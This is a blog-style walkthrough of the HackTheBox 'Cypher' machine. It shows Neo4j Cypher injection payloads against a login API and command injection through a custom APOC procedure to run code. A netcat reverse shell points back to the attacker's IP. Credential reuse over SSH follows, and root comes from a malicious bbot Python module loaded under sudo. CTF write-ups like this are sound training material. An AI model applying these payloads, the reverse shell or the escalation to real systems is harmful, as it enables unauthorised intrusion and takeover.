![[IntroImageCypher.png]] ## Summary of Exploitation Hey all, today I pwned Cypher from HacktheBox. Cypher was a medium rated machine that started with a webserver vulnerable to an error based neo4j cypher injection. After discovering an exposed custom neo4j procedure, were able to exploit via remote code execution using the cypher injection, it was really neat. Once a shell was established, vulnerable sudo privilege's of an open source OSINT tool led to the injection of python code spawning a root shell. ## Recon Phase As always I begin with my tried and true nmap scan. `sudo nmap -sC -sV -p- --min-rate 10000 10.129.167.82 -oA nmap-out` ``` Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 22:38 EST Nmap scan report for 10.129.167.82 Host is up (0.022s latency). Not shown: 65533 closed tcp ports (reset) PORT   STATE SERVICE VERSION 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey:   |   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA) |_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519) 80/tcp open  http    nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://cypher.htb/ |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.31 seconds ``` | Port | Protocol | Protocol Details | | ---- | -------- | ---------------- | | 22 | SSH | OpenSSH 9.6p1 | | 80 | http | nginx 1.24.0 | Looks like an Ubuntu linux webserver. I'll add the domain "cypher.htb" to my hosts file. ![[etchosts_cypher.png]] I visit the page and am presented with a fancy welcome page offering a free demo for what I assume is a sort of cyber graphing program. ![[webpage_cypher.png]] At the top of the page there are a couple options, Home, About, and Login. I'll check out about. ![[Aboutus_cypher.png]] I see, It's an attack surface management platform. I'm interested in this free demo, clicking it sends me to a login. ![[login_cypher.png]] I don't see anywhere to register and inputting admin : admin or admin : password doesn't work. I inputted a single quote and received an interesting error rather than access denied. ![[login_error_cypher.png]] This wasn't like any SQL error I had ever seen. I started up burpsuite to get a better view of the situation. I'll start up the proxy and capture the login request and get a better look at the error. ![[SQL_error.png]] I can clearly see the condition, I can also deduce that this is a Neo4j backend. I'm not an expert on the Cypher language. I looked up some authentication bypass methods, but they didn't prove to be successful. I did some more research and found [this article](https://pentester.land/blog/cypher-injection-cheatsheet/) that helped tremendously. ## Exploitation Phase (FAIL) Since this was an error based injection, I assume my goal is to perform a blind inject and rely on timed based substring attacks to get the username and hash from the neo4j database. According to the article I can abuse the Data() function to leak data. Armed with this knowledge, I can dump the u.name and h.value to the condition is expecting. I ended up with the following payload ``` { "username":"' OR 1=1 RETURN Date(u.name) //", "password":"asd" } ``` I injected it into the POST request to the auth api endpoint and hit send. ![[gotUsername.png]] great! now for password, I just need h.value. Just need to modify the payload. ``` { "username":"' OR 1=1 RETURN Date(h.value) //", "password":"asd" } ``` ![[user_hash_cypher.png]] Now I save this hash to a file and try to crack it with hashcat. `hashcat graphasm.hash --wordlist /usr/share/wordlists/rockyou.txt -m 100` ![[failed_hashcat_cypher.png]] Unfortunately, there was no way to crack this hash. I think I just went down a rabbit hole. ## Back to Recon I figured I must have missed something and ran feroxbuster to search for any hidden directories. `feroxbuster -u http://cypher.htb/  -w /usr/share/seclists/Discovery/Web-Content/common.txt` ![[feroxbuster_result.png]] That is something I did not see! I'm going to download this file. ``` wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar ``` I loaded up the jar file into jadx and took a look at the file in the hierarchy. ![[files_jadx_cypher.png]] I can see that this is indeed a custom apoc extension, according to neo4j documentation. "APOC (Awesome Procedures on Cypher) is an add-on library for Neo4j that provides hundreds of procedures and functions adding a lot of useful functionality." So APOC provides specific functions, and this is a custom function. If I can find a vulnerability with this custom function, specifically getUrlStatusCode(), I can potentially obtain Remote Code Execution by executing this function. I'll take a look at the code. ![[vulnerable_line_of_code_cypher.png]] And here we go, this custom procedure takes String input for a url and then connects to it to retrieve the http code. It does this using the `Process process = Runtime.getRuntime().exec(command);` which directly runs the command. There is no input sanitization, So if I pass `'10.10.14.14:8081; id')` as the parameter, I can execute both commands. The best part is that I don't even have to do this blind thanks to the Date() feature! After some light troubleshooting I came up with this injection. ``` or 1=1 CALL custom.getUrlStatusCode('10.10.14.14:8081; id') yield statusCode RETURN Date(statusCode) // ``` I'll inject it in the username parameter and hit send. ``` {"username" :"' or 1=1 CALL custom.getUrlStatusCode('10.10.14.14:8081; id') yield statusCode RETURN Date(statusCode) //","password":"asd"} ``` ![[RCE_cypher.png]] Nice! you love to see it. I'll replace id with my usual reverse shell choice. `busybox nc 10.10.14.14 443 -e /bin/bash` Set up my listener. `sudo nc -lvnp 443` And hit send. ![[Shell_cypher.gif]] I would do my [shell trick](https://publish.obsidian.md/cn-0x-writeups/Fully+Functional+Shell+Trick+for+zsh), but I wont be here long. I navigated to the /home directory and found a file that I miraculously had access to containing credentials. ``` cd /home ls graphasm cd graphasm ls bbot_preset.yml user.txt cat bbot_preset.yml targets:  - ecorp.htb output_dir: /home/graphasm/bbot_scans config:  modules:    neo4j:      username: neo4j      password: cU4btyib.20xtCMCXkBmerhK ``` I took this password and checked for password resuse for ssh. `ssh [email protected]` ``` Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/pro System information as of Sun Mar  9 09:23:58 PM UTC 2025  System load:  0.0               Processes:             232  Usage of /:   68.5% of 8.50GB   Users logged in:       0  Memory usage: 23%               IPv4 address for eth0: 10.129.111.171  Swap usage:   0% * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s   just raised the bar for easy, resilient and secure K8s cluster deployment.   https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Sun Mar 9 21:23:59 2025 from 10.10.14.14 graphasm@cypher:~$ ``` And I was in! I can get the user.txt file. ``` graphasm@cypher:~$ cat user.txt   c5308************************* ``` ## Priv-Esc to root Alright, now that I have a shell I will immediately check for sudo privs using `sudo -l` ``` graphasm@cypher:~$ sudo -l Matching Defaults entries for graphasm on cypher:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User graphasm may run the following commands on cypher:    (ALL) NOPASSWD: /usr/local/bin/bbot ``` Nice, graphasm can use bbot as sudo, I'll give it a run to see what it is. ![[bbot_cypher.png]] It looks like its a large OSINT tool suite. When you run it with no parameters, it automatically presents the help section, showing the many many features. ![[bbot_help_cypher.png]] Earlier I took a peek into the graphasm home directory and found an interesting file that appears to relate to the bbot functionality called `bbot_preset.yml` this file contained the ssh password for graphasm, I'll run the file in bbot to see what happens. `sudo /usr/local/bin/bbot -p ./bbot_preset.yml` ![[bbot_preset_run_cypher.png]] To my surprise, it really didn't do much, however, I noticed the WARN line "No scan module to load". I did some light research on bbot modules and discovered this. ![[bbot_doc_cypher.png]] I can just create my own python module. I will give this a try, I noticed that the documentation says I need to place the module in a specific directory or a custom directory. Scrolling down in the documentation I came across this. ![[bbot_custom_location_cypher.png]] Well I saw before I can write my own presets, so theoretically I can write my own malicious python module and load it from my custom path. This sounds like a good way forward. I start by creating my module. ``` import os os.system("/bin/bash") ``` I just python to run bash. Now I'll create my preset file. ``` module_dirs: - /home/graphasm ``` Lastly, I just need to run the command and see if I get a root shell. `sudo /usr/local/bin/bbot -p ./exploit.yml -m exploit --ignore-failed-deps` ![[root_shell_cypher.gif]] Nice! All I need is that root flag! ``` root@cypher:/# cat /root/root.txt f31840220ff08fcce60e8d122e349e95 ``` Thanks for reading! I hope you learned something, I know I did! Happy Hacking!